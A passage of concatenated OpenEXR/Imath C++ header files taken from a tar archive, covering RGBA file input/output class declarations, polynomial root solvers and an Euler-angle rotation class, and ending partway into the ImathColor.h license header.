Rgba *base, size_t xStride, size_t yStride); //--------------------------------------------- // Write pixel data (see class Imf::OutputFile) //--------------------------------------------- void writePixels (int numScanLines = 1); int currentScanLine () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const FrameBuffer & frameBuffer () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; // -------------------------------------------------------------------- // Update the preview image (see Imf::OutputFile::updatePreviewImage()) // -------------------------------------------------------------------- void updatePreviewImage (const PreviewRgba[]); //----------------------------------------------------------------------- // Rounding control for luminance/chroma images: // // If the output file contains luminance and chroma channels (WRITE_YC // or WRITE_YCA), then the the significands of the luminance and // chroma values are rounded to roundY and roundC bits respectively (see // function half::round()). Rounding improves compression with minimal // image degradation, usually much less than the degradation caused by // chroma subsampling. By default, roundY is 7, and roundC is 5. // // If the output file contains RGB channels or a luminance channel, // without chroma, then no rounding is performed. //----------------------------------------------------------------------- void setYCRounding (unsigned int roundY, unsigned int roundC); //---------------------------------------------------- // Break a scan line -- for testing and debugging only // (see Imf::OutputFile::updatePreviewImage() // // Warning: Calling this function usually results in a // broken image file. The file or parts of it may not // be readable, or the file may contain bad data. // //---------------------------------------------------- void breakScanLine (int y, int offset, int length, char c); private: RgbaOutputFile (const RgbaOutputFile &); // not implemented RgbaOutputFile & operator = (const RgbaOutputFile &); // not implemented class ToYca; OutputFile * _outputFile; ToYca * _toYca; }; // // RGBA input file // class IMF_EXPORT RgbaInputFile { public: //------------------------------------------------------- // Constructor -- opens the file with the specified name, // destructor will automatically close the file. //------------------------------------------------------- RgbaInputFile (const char name[], int numThreads = globalThreadCount()); //----------------------------------------------------------- // Constructor -- attaches the new RgbaInputFile object to a // file that has already been opened by the caller. // Destroying the RgbaInputFile object will not automatically // close the file. //----------------------------------------------------------- RgbaInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount()); //-------------------------------------------------------------- // Constructors -- the same as the previous two, but the names // of the red, green, blue, alpha, luminance and chroma channels // are expected to be layerName.R, layerName.G, etc. //-------------------------------------------------------------- RgbaInputFile (const char name[], const std::string &layerName, int numThreads = globalThreadCount()); RgbaInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, const std::string &layerName, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~RgbaInputFile (); //----------------------------------------------------- // Define a frame buffer as the pixel data destination: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //----------------------------------------------------- void setFrameBuffer (Rgba *base, size_t xStride, size_t yStride); //---------------------------------------------------------------- // Switch to a different layer -- subsequent calls to readPixels() // will read channels layerName.R, layerName.G, etc. // After each call to setLayerName(), setFrameBuffer() must be // called at least once before the next call to readPixels(). //---------------------------------------------------------------- void setLayerName (const std::string &layerName); //------------------------------------------- // Read pixel data (see class Imf::InputFile) //------------------------------------------- void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const FrameBuffer & frameBuffer () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; const char * fileName () const; bool isComplete () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; private: RgbaInputFile (const RgbaInputFile &); // not implemented RgbaInputFile & operator = (const RgbaInputFile &); // not implemented class FromYca; InputFile * _inputFile; FromYca * _fromYca; std::string _channelNamePrefix; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImathRoots.h 0000644 00000013176 15246445047 0010311 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHROOTS_H #define INCLUDED_IMATHROOTS_H //--------------------------------------------------------------------- // // Functions to solve linear, quadratic or cubic equations // //--------------------------------------------------------------------- #include "ImathMath.h" #include "ImathNamespace.h" #include <complex> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER //-------------------------------------------------------------------------- // Find the real solutions of a linear, quadratic or cubic equation: // // function equation solved // // solveLinear (a, b, x) a * x + b == 0 // solveQuadratic (a, b, c, x) a * x*x + b * x + c == 0 // solveNormalizedCubic (r, s, t, x) x*x*x + r * x*x + s * x + t == 0 // solveCubic (a, b, c, d, x) a * x*x*x + b * x*x + c * x + d == 0 // // Return value: // // 3 three real solutions, stored in x[0], x[1] and x[2] // 2 two real solutions, stored in x[0] and x[1] // 1 one real solution, stored in x[1] // 0 no real solutions // -1 all real numbers are solutions // // Notes: // // * It is possible that an equation has real solutions, but that the // solutions (or some intermediate result) are not representable. // In this case, either some of the solutions returned are invalid // (nan or infinity), or, if floating-point exceptions have been // enabled with Iex::mathExcOn(), an Iex::MathExc exception is // thrown. // // * Cubic equations are solved using Cardano's Formula; even though // only real solutions are produced, some intermediate results are // complex (std::complex<T>). // //-------------------------------------------------------------------------- template <class T> int solveLinear (T a, T b, T &x); template <class T> int solveQuadratic (T a, T b, T c, T x[2]); template <class T> int solveNormalizedCubic (T r, T s, T t, T x[3]); template <class T> int solveCubic (T a, T b, T c, T d, T x[3]); //--------------- // Implementation //--------------- template <class T> int solveLinear (T a, T b, T &x) { if (a != 0) { x = -b / a; return 1; } else if (b != 0) { return 0; } else { return -1; } } template <class T> int solveQuadratic (T a, T b, T c, T x[2]) { if (a == 0) { return solveLinear (b, c, x[0]); } else { T D = b * b - 4 * a * c; if (D > 0) { T s = Math<T>::sqrt (D); T q = -(b + (b > 0 ? 1 : -1) * s) / T(2); x[0] = q / a; x[1] = c / q; return 2; } if (D == 0) { x[0] = -b / (2 * a); return 1; } else { return 0; } } } template <class T> int solveNormalizedCubic (T r, T s, T t, T x[3]) { T p = (3 * s - r * r) / 3; T q = 2 * r * r * r / 27 - r * s / 3 + t; T p3 = p / 3; T q2 = q / 2; T D = p3 * p3 * p3 + q2 * q2; if (D == 0 && p3 == 0) { x[0] = -r / 3; x[1] = -r / 3; x[2] = -r / 3; return 1; } std::complex<T> u = std::pow (-q / 2 + std::sqrt (std::complex<T> (D)), T (1) / T (3)); std::complex<T> v = -p / (T (3) * u); const T sqrt3 = T (1.73205080756887729352744634150587); // enough digits // for long double std::complex<T> y0 (u + v); std::complex<T> y1 (-(u + v) / T (2) + (u - v) / T (2) * std::complex<T> (0, sqrt3)); std::complex<T> y2 (-(u + v) / T (2) - (u - v) / T (2) * std::complex<T> (0, sqrt3)); if (D > 0) { x[0] = y0.real() - r / 3; return 1; } else if (D == 0) { x[0] = y0.real() - r / 3; x[1] = y1.real() - r / 3; return 2; } else { x[0] = y0.real() - r / 3; x[1] = y1.real() - r / 3; x[2] = y2.real() - r / 3; return 3; } } template <class T> int solveCubic (T a, T b, T c, T d, T x[3]) { if (a == 0) { return solveQuadratic (b, c, d, x); } else { return solveNormalizedCubic (b / a, c / a, d / a, x); } } IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHROOTS_H OpenEXR/ImathEuler.h 0000644 00000055604 15246445047 0010261 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMATHEULER_H #define INCLUDED_IMATHEULER_H //---------------------------------------------------------------------- // // template class Euler<T> // // This class represents euler angle orientations. The class // inherits from Vec3 to it can be freely cast. The additional // information is the euler priorities rep. This class is // essentially a rip off of Ken Shoemake's GemsIV code. It has // been modified minimally to make it more understandable, but // hardly enough to make it easy to grok completely. // // There are 24 possible combonations of Euler angle // representations of which 12 are common in CG and you will // probably only use 6 of these which in this scheme are the // non-relative-non-repeating types. // // The representations can be partitioned according to two // criteria: // // 1) Are the angles measured relative to a set of fixed axis // or relative to each other (the latter being what happens // when rotation matrices are multiplied together and is // almost ubiquitous in the cg community) // // 2) Is one of the rotations repeated (ala XYX rotation) // // When you construct a given representation from scratch you // must order the angles according to their priorities. So, the // easiest is a softimage or aerospace (yaw/pitch/roll) ordering // of ZYX. // // float x_rot = 1; // float y_rot = 2; // float z_rot = 3; // // Eulerf angles(z_rot, y_rot, x_rot, Eulerf::ZYX); // -or- // Eulerf angles( V3f(z_rot,y_rot,z_rot), Eulerf::ZYX ); // // If instead, the order was YXZ for instance you would have to // do this: // // float x_rot = 1; // float y_rot = 2; // float z_rot = 3; // // Eulerf angles(y_rot, x_rot, z_rot, Eulerf::YXZ); // -or- // Eulerf angles( V3f(y_rot,x_rot,z_rot), Eulerf::YXZ ); // // Notice how the order you put the angles into the three slots // should correspond to the enum (YXZ) ordering. The input angle // vector is called the "ijk" vector -- not an "xyz" vector. The // ijk vector order is the same as the enum. If you treat the // Euler<> as a Vec<> (which it inherts from) you will find the // angles are ordered in the same way, i.e.: // // V3f v = angles; // // v.x == y_rot, v.y == x_rot, v.z == z_rot // // If you just want the x, y, and z angles stored in a vector in // that order, you can do this: // // V3f v = angles.toXYZVector() // // v.x == x_rot, v.y == y_rot, v.z == z_rot // // If you want to set the Euler with an XYZVector use the // optional layout argument: // // Eulerf angles(x_rot, y_rot, z_rot, // Eulerf::YXZ, // Eulerf::XYZLayout); // // This is the same as: // // Eulerf angles(y_rot, x_rot, z_rot, Eulerf::YXZ); // // Note that this won't do anything intelligent if you have a // repeated axis in the euler angles (e.g. XYX) // // If you need to use the "relative" versions of these, you will // need to use the "r" enums. // // The units of the rotation angles are assumed to be radians. // //---------------------------------------------------------------------- #include "ImathMath.h" #include "ImathVec.h" #include "ImathQuat.h" #include "ImathMatrix.h" #include "ImathLimits.h" #include "ImathNamespace.h" #include <iostream> IMATH_INTERNAL_NAMESPACE_HEADER_ENTER #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER // Disable MS VC++ warnings about conversion from double to float #pragma warning(disable:4244) #endif template <class T> class Euler : public Vec3<T> { public: using Vec3<T>::x; using Vec3<T>::y; using Vec3<T>::z; enum Order { // // All 24 possible orderings // XYZ = 0x0101, // "usual" orderings XZY = 0x0001, YZX = 0x1101, YXZ = 0x1001, ZXY = 0x2101, ZYX = 0x2001, XZX = 0x0011, // first axis repeated XYX = 0x0111, YXY = 0x1011, YZY = 0x1111, ZYZ = 0x2011, ZXZ = 0x2111, XYZr = 0x2000, // relative orderings -- not common XZYr = 0x2100, YZXr = 0x1000, YXZr = 0x1100, ZXYr = 0x0000, ZYXr = 0x0100, XZXr = 0x2110, // relative first axis repeated XYXr = 0x2010, YXYr = 0x1110, YZYr = 0x1010, ZYZr = 0x0110, ZXZr = 0x0010, // |||| // VVVV // Legend: ABCD // A -> Initial Axis (0==x, 1==y, 2==z) // B -> Parity Even (1==true) // C -> Initial Repeated (1==true) // D -> Frame Static (1==true) // Legal = XYZ | XZY | YZX | YXZ | ZXY | ZYX | XZX | XYX | YXY | YZY | ZYZ | ZXZ | XYZr| XZYr| YZXr| YXZr| ZXYr| ZYXr| XZXr| XYXr| YXYr| YZYr| ZYZr| ZXZr, Min = 0x0000, Max = 0x2111, Default = XYZ }; enum Axis { X = 0, Y = 1, Z = 2 }; enum InputLayout { XYZLayout, IJKLayout }; //-------------------------------------------------------------------- // Constructors -- all default to ZYX non-relative ala softimage // (where there is no argument to specify it) // // The Euler-from-matrix constructors assume that the matrix does // not include shear or non-uniform scaling, but the constructors // do not examine the matrix to verify this assumption. If necessary, // you can adjust the matrix by calling the removeScalingAndShear() // function, defined in ImathMatrixAlgo.h. //-------------------------------------------------------------------- Euler(); Euler(const Euler&); Euler(Order p); Euler(const Vec3<T> &v, Order o = Default, InputLayout l = IJKLayout); Euler(T i, T j, T k, Order o = Default, InputLayout l = IJKLayout); Euler(const Euler<T> &euler, Order newp); Euler(const Matrix33<T> &, Order o = Default); Euler(const Matrix44<T> &, Order o = Default); //--------------------------------- // Algebraic functions/ Operators //--------------------------------- const Euler<T>& operator= (const Euler<T>&); const Euler<T>& operator= (const Vec3<T>&); //-------------------------------------------------------- // Set the euler value // This does NOT convert the angles, but setXYZVector() // does reorder the input vector. //-------------------------------------------------------- static bool legal(Order); void setXYZVector(const Vec3<T> &); Order order() const; void setOrder(Order); void set(Axis initial, bool relative, bool parityEven, bool firstRepeats); //------------------------------------------------------------ // Conversions, toXYZVector() reorders the angles so that // the X rotation comes first, followed by the Y and Z // in cases like XYX ordering, the repeated angle will be // in the "z" component // // The Euler-from-matrix extract() functions assume that the // matrix does not include shear or non-uniform scaling, but // the extract() functions do not examine the matrix to verify // this assumption. If necessary, you can adjust the matrix // by calling the removeScalingAndShear() function, defined // in ImathMatrixAlgo.h. //------------------------------------------------------------ void extract(const Matrix33<T>&); void extract(const Matrix44<T>&); void extract(const Quat<T>&); Matrix33<T> toMatrix33() const; Matrix44<T> toMatrix44() const; Quat<T> toQuat() const; Vec3<T> toXYZVector() const; //--------------------------------------------------- // Use this function to unpack angles from ijk form //--------------------------------------------------- void angleOrder(int &i, int &j, int &k) const; //--------------------------------------------------- // Use this function to determine mapping from xyz to ijk // - reshuffles the xyz to match the order //--------------------------------------------------- void angleMapping(int &i, int &j, int &k) const; //---------------------------------------------------------------------- // // Utility methods for getting continuous rotations. None of these // methods change the orientation given by its inputs (or at least // that is the intent). // // angleMod() converts an angle to its equivalent in [-PI, PI] // // simpleXYZRotation() adjusts xyzRot so that its components differ // from targetXyzRot by no more than +-PI // // nearestRotation() adjusts xyzRot so that its components differ // from targetXyzRot by as little as possible. // Note that xyz here really means ijk, because // the order must be provided. // // makeNear() adjusts "this" Euler so that its components differ // from target by as little as possible. This method // might not make sense for Eulers with different order // and it probably doesn't work for repeated axis and // relative orderings (TODO). // //----------------------------------------------------------------------- static float angleMod (T angle); static void simpleXYZRotation (Vec3<T> &xyzRot, const Vec3<T> &targetXyzRot); static void nearestRotation (Vec3<T> &xyzRot, const Vec3<T> &targetXyzRot, Order order = XYZ); void makeNear (const Euler<T> &target); bool frameStatic() const { return _frameStatic; } bool initialRepeated() const { return _initialRepeated; } bool parityEven() const { return _parityEven; } Axis initialAxis() const { return _initialAxis; } protected: bool _frameStatic : 1; // relative or static rotations bool _initialRepeated : 1; // init axis repeated as last bool _parityEven : 1; // "parity of axis permutation" #if defined _WIN32 || defined _WIN64 Axis _initialAxis ; // First axis of rotation #else Axis _initialAxis : 2; // First axis of rotation #endif }; //-------------------- // Convenient typedefs //-------------------- typedef Euler<float> Eulerf; typedef Euler<double> Eulerd; //--------------- // Implementation //--------------- template<class T> inline void Euler<T>::angleOrder(int &i, int &j, int &k) const { i = _initialAxis; j = _parityEven ? (i+1)%3 : (i > 0 ? i-1 : 2); k = _parityEven ? (i > 0 ? i-1 : 2) : (i+1)%3; } template<class T> inline void Euler<T>::angleMapping(int &i, int &j, int &k) const { int m[3]; m[_initialAxis] = 0; m[(_initialAxis+1) % 3] = _parityEven ? 1 : 2; m[(_initialAxis+2) % 3] = _parityEven ? 2 : 1; i = m[0]; j = m[1]; k = m[2]; } template<class T> inline void Euler<T>::setXYZVector(const Vec3<T> &v) { int i,j,k; angleMapping(i,j,k); (*this)[i] = v.x; (*this)[j] = v.y; (*this)[k] = v.z; } template<class T> inline Vec3<T> Euler<T>::toXYZVector() const { int i,j,k; angleMapping(i,j,k); return Vec3<T>((*this)[i],(*this)[j],(*this)[k]); } template<class T> Euler<T>::Euler() : Vec3<T>(0,0,0), _frameStatic(true), _initialRepeated(false), _parityEven(true), _initialAxis(X) {} template<class T> Euler<T>::Euler(typename Euler<T>::Order p) : Vec3<T>(0,0,0), _frameStatic(true), _initialRepeated(false), _parityEven(true), _initialAxis(X) { setOrder(p); } template<class T> inline Euler<T>::Euler( const Vec3<T> &v, typename Euler<T>::Order p, typename Euler<T>::InputLayout l ) { setOrder(p); if ( l == XYZLayout ) setXYZVector(v); else { x = v.x; y = v.y; z = v.z; } } template<class T> inline Euler<T>::Euler(const Euler<T> &euler) { operator=(euler); } template<class T> inline Euler<T>::Euler(const Euler<T> &euler,Order p) { setOrder(p); Matrix33<T> M = euler.toMatrix33(); extract(M); } template<class T> inline Euler<T>::Euler( T xi, T yi, T zi, typename Euler<T>::Order p, typename Euler<T>::InputLayout l) { setOrder(p); if ( l == XYZLayout ) setXYZVector(Vec3<T>(xi,yi,zi)); else { x = xi; y = yi; z = zi; } } template<class T> inline Euler<T>::Euler( const Matrix33<T> &M, typename Euler::Order p ) { setOrder(p); extract(M); } template<class T> inline Euler<T>::Euler( const Matrix44<T> &M, typename Euler::Order p ) { setOrder(p); extract(M); } template<class T> inline void Euler<T>::extract(const Quat<T> &q) { extract(q.toMatrix33()); } template<class T> void Euler<T>::extract(const Matrix33<T> &M) { int i,j,k; angleOrder(i,j,k); if (_initialRepeated) { // // Extract the first angle, x. // x = Math<T>::atan2 (M[j][i], M[k][i]); // // Remove the x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Vec3<T> r (0, 0, 0); r[i] = (_parityEven? -x: x); Matrix44<T> N; N.rotate (r); N = N * Matrix44<T> (M[0][0], M[0][1], M[0][2], 0, M[1][0], M[1][1], M[1][2], 0, M[2][0], M[2][1], M[2][2], 0, 0, 0, 0, 1); // // Extract the other two angles, y and z, from N. // T sy = Math<T>::sqrt (N[j][i]*N[j][i] + N[k][i]*N[k][i]); y = Math<T>::atan2 (sy, N[i][i]); z = Math<T>::atan2 (N[j][k], N[j][j]); } else { // // Extract the first angle, x. // x = Math<T>::atan2 (M[j][k], M[k][k]); // // Remove the x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Vec3<T> r (0, 0, 0); r[i] = (_parityEven? -x: x); Matrix44<T> N; N.rotate (r); N = N * Matrix44<T> (M[0][0], M[0][1], M[0][2], 0, M[1][0], M[1][1], M[1][2], 0, M[2][0], M[2][1], M[2][2], 0, 0, 0, 0, 1); // // Extract the other two angles, y and z, from N. // T cy = Math<T>::sqrt (N[i][i]*N[i][i] + N[i][j]*N[i][j]); y = Math<T>::atan2 (-N[i][k], cy); z = Math<T>::atan2 (-N[j][i], N[j][j]); } if (!_parityEven) *this *= -1; if (!_frameStatic) { T t = x; x = z; z = t; } } template<class T> void Euler<T>::extract(const Matrix44<T> &M) { int i,j,k; angleOrder(i,j,k); if (_initialRepeated) { // // Extract the first angle, x. // x = Math<T>::atan2 (M[j][i], M[k][i]); // // Remove the x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Vec3<T> r (0, 0, 0); r[i] = (_parityEven? -x: x); Matrix44<T> N; N.rotate (r); N = N * M; // // Extract the other two angles, y and z, from N. // T sy = Math<T>::sqrt (N[j][i]*N[j][i] + N[k][i]*N[k][i]); y = Math<T>::atan2 (sy, N[i][i]); z = Math<T>::atan2 (N[j][k], N[j][j]); } else { // // Extract the first angle, x. // x = Math<T>::atan2 (M[j][k], M[k][k]); // // Remove the x rotation from M, so that the remaining // rotation, N, is only around two axes, and gimbal lock // cannot occur. // Vec3<T> r (0, 0, 0); r[i] = (_parityEven? -x: x); Matrix44<T> N; N.rotate (r); N = N * M; // // Extract the other two angles, y and z, from N. // T cy = Math<T>::sqrt (N[i][i]*N[i][i] + N[i][j]*N[i][j]); y = Math<T>::atan2 (-N[i][k], cy); z = Math<T>::atan2 (-N[j][i], N[j][j]); } if (!_parityEven) *this *= -1; if (!_frameStatic) { T t = x; x = z; z = t; } } template<class T> Matrix33<T> Euler<T>::toMatrix33() const { int i,j,k; angleOrder(i,j,k); Vec3<T> angles; if ( _frameStatic ) angles = (*this); else angles = Vec3<T>(z,y,x); if ( !_parityEven ) angles *= -1.0; T ci = Math<T>::cos(angles.x); T cj = Math<T>::cos(angles.y); T ch = Math<T>::cos(angles.z); T si = Math<T>::sin(angles.x); T sj = Math<T>::sin(angles.y); T sh = Math<T>::sin(angles.z); T cc = ci*ch; T cs = ci*sh; T sc = si*ch; T ss = si*sh; Matrix33<T> M; if ( _initialRepeated ) { M[i][i] = cj; M[j][i] = sj*si; M[k][i] = sj*ci; M[i][j] = sj*sh; M[j][j] = -cj*ss+cc; M[k][j] = -cj*cs-sc; M[i][k] = -sj*ch; M[j][k] = cj*sc+cs; M[k][k] = cj*cc-ss; } else { M[i][i] = cj*ch; M[j][i] = sj*sc-cs; M[k][i] = sj*cc+ss; M[i][j] = cj*sh; M[j][j] = sj*ss+cc; M[k][j] = sj*cs-sc; M[i][k] = -sj; M[j][k] = cj*si; M[k][k] = cj*ci; } return M; } template<class T> Matrix44<T> Euler<T>::toMatrix44() const { int i,j,k; angleOrder(i,j,k); Vec3<T> angles; if ( _frameStatic ) angles = (*this); else angles = Vec3<T>(z,y,x); if ( !_parityEven ) angles *= -1.0; T ci = Math<T>::cos(angles.x); T cj = Math<T>::cos(angles.y); T ch = Math<T>::cos(angles.z); T si = Math<T>::sin(angles.x); T sj = Math<T>::sin(angles.y); T sh = Math<T>::sin(angles.z); T cc = ci*ch; T cs = ci*sh; T sc = si*ch; T ss = si*sh; Matrix44<T> M; if ( _initialRepeated ) { M[i][i] = cj; M[j][i] = sj*si; M[k][i] = sj*ci; M[i][j] = sj*sh; M[j][j] = -cj*ss+cc; M[k][j] = -cj*cs-sc; M[i][k] = -sj*ch; M[j][k] = cj*sc+cs; M[k][k] = cj*cc-ss; } else { M[i][i] = cj*ch; M[j][i] = sj*sc-cs; M[k][i] = sj*cc+ss; M[i][j] = cj*sh; M[j][j] = sj*ss+cc; M[k][j] = sj*cs-sc; M[i][k] = -sj; M[j][k] = cj*si; M[k][k] = cj*ci; } return M; } template<class T> Quat<T> Euler<T>::toQuat() const { Vec3<T> angles; int i,j,k; angleOrder(i,j,k); if ( _frameStatic ) angles = (*this); else angles = Vec3<T>(z,y,x); if ( !_parityEven ) angles.y = -angles.y; T ti = angles.x*0.5; T tj = angles.y*0.5; T th = angles.z*0.5; T ci = Math<T>::cos(ti); T cj = Math<T>::cos(tj); T ch = Math<T>::cos(th); T si = Math<T>::sin(ti); T sj = Math<T>::sin(tj); T sh = Math<T>::sin(th); T cc = ci*ch; T cs = ci*sh; T sc = si*ch; T ss = si*sh; T parity = _parityEven ? 1.0 : -1.0; Quat<T> q; Vec3<T> a; if ( _initialRepeated ) { a[i] = cj*(cs + sc); a[j] = sj*(cc + ss) * parity, a[k] = sj*(cs - sc); q.r = cj*(cc - ss); } else { a[i] = cj*sc - sj*cs, a[j] = (cj*ss + sj*cc) * parity, a[k] = cj*cs - sj*sc; q.r = cj*cc + sj*ss; } q.v = a; return q; } template<class T> inline bool Euler<T>::legal(typename Euler<T>::Order order) { return (order & ~Legal) ? false : true; } template<class T> typename Euler<T>::Order Euler<T>::order() const { int foo = (_initialAxis == Z ? 0x2000 : (_initialAxis == Y ? 0x1000 : 0)); if (_parityEven) foo |= 0x0100; if (_initialRepeated) foo |= 0x0010; if (_frameStatic) foo++; return (Order)foo; } template<class T> inline void Euler<T>::setOrder(typename Euler<T>::Order p) { set( p & 0x2000 ? Z : (p & 0x1000 ? Y : X), // initial axis !(p & 0x1), // static? !!(p & 0x100), // permutation even? !!(p & 0x10)); // initial repeats? } template<class T> void Euler<T>::set(typename Euler<T>::Axis axis, bool relative, bool parityEven, bool firstRepeats) { _initialAxis = axis; _frameStatic = !relative; _parityEven = parityEven; _initialRepeated = firstRepeats; } template<class T> const Euler<T>& Euler<T>::operator= (const Euler<T> &euler) { x = euler.x; y = euler.y; z = euler.z; _initialAxis = euler._initialAxis; _frameStatic = euler._frameStatic; _parityEven = euler._parityEven; _initialRepeated = euler._initialRepeated; return *this; } template<class T> const Euler<T>& Euler<T>::operator= (const Vec3<T> &v) { x = v.x; y = v.y; z = v.z; return *this; } template<class T> std::ostream& operator << (std::ostream &o, const Euler<T> &euler) { char a[3] = { 'X', 'Y', 'Z' }; const char* r = euler.frameStatic() ? "" : "r"; int i,j,k; euler.angleOrder(i,j,k); if ( euler.initialRepeated() ) k = i; return o << "(" << euler.x << " " << euler.y << " " << euler.z << " " << a[i] << a[j] << a[k] << r << ")"; } template <class T> float Euler<T>::angleMod (T angle) { angle = fmod(T (angle), T (2 * M_PI)); if (angle < -M_PI) angle += 2 * M_PI; if (angle > +M_PI) angle -= 2 * M_PI; return angle; } template <class T> void Euler<T>::simpleXYZRotation (Vec3<T> &xyzRot, const Vec3<T> &targetXyzRot) { Vec3<T> d = xyzRot - targetXyzRot; xyzRot[0] = targetXyzRot[0] + angleMod(d[0]); xyzRot[1] = targetXyzRot[1] + angleMod(d[1]); xyzRot[2] = targetXyzRot[2] + angleMod(d[2]); } template <class T> void Euler<T>::nearestRotation (Vec3<T> &xyzRot, const Vec3<T> &targetXyzRot, Order order) { int i,j,k; Euler<T> e (0,0,0, order); e.angleOrder(i,j,k); simpleXYZRotation(xyzRot, targetXyzRot); Vec3<T> otherXyzRot; otherXyzRot[i] = M_PI+xyzRot[i]; otherXyzRot[j] = M_PI-xyzRot[j]; otherXyzRot[k] = M_PI+xyzRot[k]; simpleXYZRotation(otherXyzRot, targetXyzRot); Vec3<T> d = xyzRot - targetXyzRot; Vec3<T> od = otherXyzRot - targetXyzRot; T dMag = d.dot(d); T odMag = od.dot(od); if (odMag < dMag) { xyzRot = otherXyzRot; } } template <class T> void Euler<T>::makeNear (const Euler<T> &target) { Vec3<T> xyzRot = toXYZVector(); Vec3<T> targetXyz; if (order() != target.order()) { Euler<T> targetSameOrder = Euler<T>(target, order()); targetXyz = targetSameOrder.toXYZVector(); } else { targetXyz = target.toXYZVector(); } nearestRotation(xyzRot, targetXyz, order()); setXYZVector(xyzRot); } #if (defined _WIN32 || defined _WIN64) && defined _MSC_VER #pragma warning(default:4244) #endif IMATH_INTERNAL_NAMESPACE_HEADER_EXIT #endif // INCLUDED_IMATHEULER_H OpenEXR/ImathColor.h 0000644 00000035573 15246445047 0010266 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004-2012, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY 